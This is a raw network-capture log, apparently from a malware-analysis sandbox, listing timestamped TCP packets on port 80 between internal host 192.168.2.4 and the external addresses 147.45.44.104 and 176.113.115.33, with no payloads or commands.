Sep 11, 2024 16:22:18.329737902 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.329747915 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.329760075 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.329770088 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.329781055 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.329782963 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.329816103 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.329883099 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.329891920 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.329926014 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.330106020 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330116034 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330127001 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330147982 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.330174923 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330174923 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.330185890 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330194950 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330215931 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330221891 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.330226898 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330236912 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330248117 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330248117 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.330259085 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330271006 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330276012 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.330285072 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330295086 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330302954 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.330316067 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.330329895 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.330688953 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330698967 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330728054 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330739021 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330740929 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.330750942 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330761909 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330765963 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.330789089 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.330818892 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.330897093 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330908060 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330918074 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330929041 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330934048 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.330940008 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330950975 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330961943 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330969095 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.330972910 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330984116 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.330985069 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.330996037 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.331003904 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.331028938 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.331028938 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.331039906 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.331052065 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.331057072 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.331062078 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.331068993 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.331079960 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.331082106 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.331091881 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.331093073 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.331104994 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.331115961 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.331115961 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.331125021 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.331126928 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.331136942 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.331150055 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.331156969 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.331176996 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.331193924 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.331717014 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.331727028 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.331737995 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.331789970 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.331799030 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.331809998 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.331820965 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.331831932 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.331837893 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.331862926 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.331890106 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.333440065 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.333448887 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.333461046 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.333482981 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.333498001 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.333503962 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.333513975 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.333525896 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.333537102 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.333545923 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.333549023 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.333564043 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.333595991 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.333677053 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.333688021 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.333699942 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.333718061 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.333720922 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.333729982 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.333740950 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.333753109 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.333760023 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.333789110 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.334027052 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.334038973 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.334050894 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.334074974 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.334095955 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.334119081 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.334130049 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.334141970 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.334155083 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.334163904 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.334175110 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.334192038 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.334207058 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.334722996 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.334733963 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.334743977 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.334763050 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.334774017 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.334774017 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.334784985 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.334796906 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.334804058 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.334821939 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.334836006 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.334846020 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.334846973 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.334857941 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.334871054 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.334883928 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.334907055 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.335012913 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335024118 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335033894 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335045099 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335052967 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.335056067 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335067034 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335067034 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.335086107 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335095882 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.335098028 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335108995 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335120916 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335129976 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.335131884 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335144997 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335148096 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.335155964 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335163116 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.335166931 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335177898 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335180998 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.335189104 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335201025 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335211992 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.335222006 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335232973 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335237980 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.335243940 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335262060 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.335264921 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335278988 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335283995 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.335289955 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335299969 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335309982 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.335325956 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.335350037 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.335602045 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335613966 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335627079 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335638046 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.335642099 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.335653067 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.335675955 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.338828087 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.338839054 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.338850021 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.338874102 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.338886023 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.338896990 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.338902950 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.338926077 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.338962078 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.338972092 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.339072943 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.341061115 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.341072083 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.341083050 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.341099977 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.341120958 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.341125011 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.341137886 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.341150999 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.341162920 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.341169119 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.341175079 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.341186047 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.341355085 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.361610889 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.361622095 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.361630917 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.361640930 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.361650944 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.361660957 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.361673117 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.361682892 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.361813068 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.361813068 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.384145975 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384171009 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384183884 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384193897 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384205103 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384216070 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384227991 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384242058 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384279966 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.384329081 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.384329081 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.384340048 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384378910 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384390116 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384399891 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384416103 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384426117 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384428978 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.384438038 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384440899 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.384449959 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384459019 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.384463072 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384474039 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384476900 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.384500980 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.384522915 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.384527922 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384538889 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384550095 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384561062 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384563923 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.384571075 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384577036 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.384604931 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.384643078 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384654045 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384696007 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.384701967 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384711981 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384723902 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384737015 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.384761095 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.384845018 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384855986 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384866953 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384876966 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384880066 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.384888887 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384900093 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384903908 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.384912014 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.384931087 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.384948015 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.385122061 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385133028 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385143995 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385175943 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.385214090 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.385231018 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385241032 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385251045 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385262012 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385272026 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385276079 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.385286093 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385293961 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.385318995 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.385370970 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385381937 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385392904 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385412931 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.385426998 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.385689974 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385700941 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385713100 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385730028 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385740042 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385745049 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.385752916 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385762930 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385762930 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.385782003 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.385797024 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.385855913 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385865927 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385876894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385886908 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385898113 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385909081 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.385922909 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.385951996 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.386028051 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386068106 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.386086941 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386096954 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386109114 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386122942 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386132956 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.386152029 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.386174917 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.386193037 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386203051 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386213064 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386224031 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386226892 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.386234999 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386250973 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.386276960 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.386593103 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386604071 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386615038 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386636019 CEST	49736	80	192.168.2.4	176.113.115.33
